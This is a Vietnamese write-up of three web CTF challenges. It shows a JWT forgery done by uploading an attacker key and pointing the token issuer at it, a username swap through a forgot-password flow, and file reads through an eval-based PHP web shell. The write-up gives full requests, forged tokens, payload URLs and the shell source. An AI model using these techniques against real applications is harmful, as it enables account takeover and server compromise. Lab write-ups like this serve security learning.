Viblo CTF Write-up

Write up 3 bài web

Posted by anhtv on October 2, 2022

JWT Token

Adrress: Chall

Đăng nhập với username một cách bình thường là admin :)))

Và cũng như một cách bình thường khác ta upload file

Quay trở lại trang / ta thấy có danh sách 1 số file đã up và nó có dạng website/uploads/<username>/<filename>

Ở đây mình nghĩ ngay đến việc up shell và ghi hacked by tronghieu220403 nhưng mà mãi k payload được nên nghĩ cách khác =)))

Để ý lại history có cái getflag.js mình vào thử

Đoạn Javascript của nó:

function getFiles(){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "getflag", true);
    xhr.onload = function() {
        if (xhr.status === 200) {
            var flag = xhr.responseText.split("\n");
            var html = "";
            if (flag.length > 0) {
                    html += "<li>" + flag + "</li>";
                }
            document.getElementById("flag").innerHTML = html;
        } else {
            alert("Error: " + xhr.status);
        }
    }
    xhr.send();
}

Mình có check ./getflag thì

Check Request kiểm tra Cookie:

1
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMC9zdGF0aWMva2V5cy5wdWIifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXBwcm92ZSI6ZmFsc2V9.KnO6VyVQ12jQ1uSJ8DmbxHDjMWi1-qkwx_EoVGmcpVJaP8E5g_YSl5t30Ij6cQQVFlfjMjJB0OFWm3rJtGcxvzcqgHRBZcPEPnoSPVgtq7GEa9VtsyjRYSMl7oUeiOJrnC0PifPt8KeAZRO43ZNnARULOxGH2Ntmqx6I7is4nPY1rkuz09_FxNMgiZ07gx8CBkKs7F8tNTqsIIWgEXVNFxB9QNlUokoxLjbr85muEz48-rpzqL74sKYA_pvhiwh7IoCRVg5WWrXUTEUIiA-tpX6q-CaImSSUtYL7CEw17O22hEggLwNrXBsJ17ApyaYkbU99ucB9HfMFqwdCBxudUBMagJihGLQe2w3wj_HJiYliIjdAk88l270Yjtm42OoeVW6Pf2XSR-d3ygjvNjjyxv2mBt6_443vx9nPTZ8TjA28mxGvRTs1nRHHmvDDpOLGT5WW6yApvRGoulFEsvrQdmKxPW3udGAy-xfVOjkWe_b7OaY2O4sFLKklR23Dz37H

Đây là JWT Cookie (Đề bài là JWT Token mà), sử dụng JWT Tool

Như vậy muốn có flag ta cần đổi giá trị approve thành True

Nhưng mà mọi việc đâu dễ thế, ta cần đổi giá trị nhưng mà vẫn phải thỏa mãn Signature RS256

Exploit: Mình có thể tải xuống Pubkey và tìm trở lại PrivateKey, nhưng mà điều đó sẽ rất khó, cái gì khó quá thì bỏ qua :vvv

Vậy nếu như mình thay Pubkey thì sao nhỉ :)? rất hay trên trang Token.dev có sẵn Private và Public từ Template, sử dụng key đó luôn, bằng cách upload file pub mới lên

Vậy ta đã có token mới, let’s check :))

1
2
3
4
5
6
7
8
9
GET /getflag HTTP/1.1
Host: 172.104.49.143:1574
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMC91cGxvYWRzL2FkbWluL2hpaGkudHh0In0.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXBwcm92ZSI6dHJ1ZX0.2y8teT0Yu5YlRuencanFDXbmvDkdbfgZVbtsfzCRlcBZSPtMNN0Y8dmR5yumoYPrR5SJbyDE454Sewai_nW_q7FYm0a-hrW4GdxcWvnFYNkNq-58_1NJ6XKjGUZiT89lNpMKevvYvbcEiO1fspg_10Pu9_T7PBsRw2KeXC_Vl1TuNSL5xKzdFiLxRdKdOr33QkoWqe0k4S_rp6jcbXlz2AMITcDDT5E8nWzvkPSycSke6klJGyN2Mf1H7CPzTN96d90m3fhbzKkf5a82jPo4R1IGth2b0fFLTMhCRHmhmX5k3gRswWkwZvLxiRmGy6Svtras6ldRWDMzIrhADujY1Q
Connection: close
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.5
Date: Sun, 02 Oct 2022 11:12:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 44
Connection: close

FLAG: Flag{JWT_token_is_the_best_token_ever}

Logged now

Address: Chall

Try to logging in

Check page source ta thấy

Đăng nhập acc test/test

Check history ta có

Lại có JWT rồi kìa :) Dùng token.dev nhé

Mục tiêu là sẽ đổi username thành admin

Check tiếp JWT tiếp theo

Đăng xuất nào…

Thử tính năng forgot password

Khi submit thì nó tạo ra lỗi nhưng mà khi check Token nó vẫn thay đổi

Khi đăng xuất

Khi submit

Khi submit ta thấy Token cũng bị thay đổi, có vẻ như là username sẽ bị thay đổi từ tính năng này, cái ta cần là username = adminislogged = True, ta có thể dựa vào acc test để lấy islogged = True và dùng forgot password để lấy username mới

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /forgotpassword HTTP/1.1
Host: 172.104.49.143:1579
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.104.49.143:1579
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.104.49.143:1579/forgotpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpc2xvZ2dlZCI6dHJ1ZX0.Wjx11deR5S7aTH2Sdruo0t0CVQTIJV7wGhLIYPRFlOY
Connection: close

username=admin
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 02 Oct 2022 11:43:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1241
Connection: close
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNsb2dnZWQiOnRydWV9.sYB9cy-O6WDAfSEpF7dL5wTzmlejiR0xrI5ymMbsTWw; Path=/
....

Check token mới, mì ăn liền =))) image

1
2
3
4
5
6
7
8
9
GET /info HTTP/1.1
Host: 172.104.49.143:1579
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNsb2dnZWQiOnRydWV9.sYB9cy-O6WDAfSEpF7dL5wTzmlejiR0xrI5ymMbsTWw
Connection: close

Và ta có flag: Flag{uAsNp2OK2a3DBMXYR!i#}

Web shell

Address: Chall

Dùng dirsearch ta tìm được /shell.php

Payload nè

1
http://172.104.49.143:1573/shell.php?cmd=echo "hello"; echo "hi";

Nhận được

1
2
3
4
hellohi <?php
    @eval($_REQUEST['cmd']);
    show_source(__FILE__);
?>

Code hoạt động với multiple command

Ở đây ta sử dụng lệnh scandir($dir); tương tự lệnh ls trên bash

Payload tiếp nè

1
http://172.104.49.143:1573/shell.php?cmd=$dir='./'; $files = scandir($dir); print_r($files);
1
2
3
4
Array ( [0] => . [1] => .. [2] => assets [3] => images [4] => index.php [5] => shell.php ) <?php
    @eval($_REQUEST['cmd']);
    show_source(__FILE__);
?>

Lùi khoảng 3 lần ta thấy có flag nè

1
http://172.104.49.143:1573/shell.php?cmd=$dir='../../../'; $files = scandir($dir); print_r($files);
1
2
3
4
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) <?php
    @eval($_REQUEST['cmd']);
    show_source(__FILE__);
?>

Okie vậy là đã biết địa chỉ của flag

1
http://172.104.49.143:1573/shell.php?cmd=echo readfile('../../../flag'); 
1
2
3
4
<?php
    @eval($_REQUEST['cmd']);
    show_source(__FILE__);
?>

Ủa gì z??? Sao k có gì :)?

Nhưng đoạn này k giải thích gì nữa

1
http://172.104.49.143:1573/shell.php?cmd=echo readfile('../../../start.sh'); 
1
2
3
4
#!/bin/sh echo "Flag{bypass_disable_function_php}" > /flag chmod 600 /flag chmod +s /usr/bin/tac /etc/init.d/apache2 restart /usr/bin/tail -f /dev/null152 <?php
    @eval($_REQUEST['cmd']);
    show_source(__FILE__);
?>